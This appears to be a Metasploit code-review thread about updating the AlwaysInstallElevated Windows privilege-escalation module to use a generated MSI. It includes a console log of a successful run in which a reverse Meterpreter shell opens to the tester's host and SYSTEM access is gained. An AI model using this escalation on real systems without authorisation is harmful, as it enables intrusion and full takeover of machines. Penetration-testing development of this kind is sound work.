Update AlwaysInstallElevated to use a generated MSI file

[Meatballs1]

Also fixes bugs with MSI::UAC option, invalid logic and typo...

MSI also fails installation to allow multiple exploits (we have a static GUID for our installer).

Don't need to migrate as we don't have to cleanup a payload.exe file anymore.

[todb-r7]

Works for me, thanks for the fix

msf exploit(always_install_elevated) > exploit

[*] Started reverse handler on 192.168.145.1:4455 
[+] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[*] Uploading the MSI to C:\Users\TODBEA~1\AppData\Local\Temp\UwpNbOU.msi ...
[*] Executing MSI...
[*] Sending stage (770048 bytes) to 192.168.145.179
[*] Meterpreter session 2 opened (192.168.145.1:4455 -> 192.168.145.179:51279) at 2013-09-30 11:04:47 -0500
[+] Deleted C:\Users\TODBEA~1\AppData\Local\Temp\UwpNbOU.msi

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM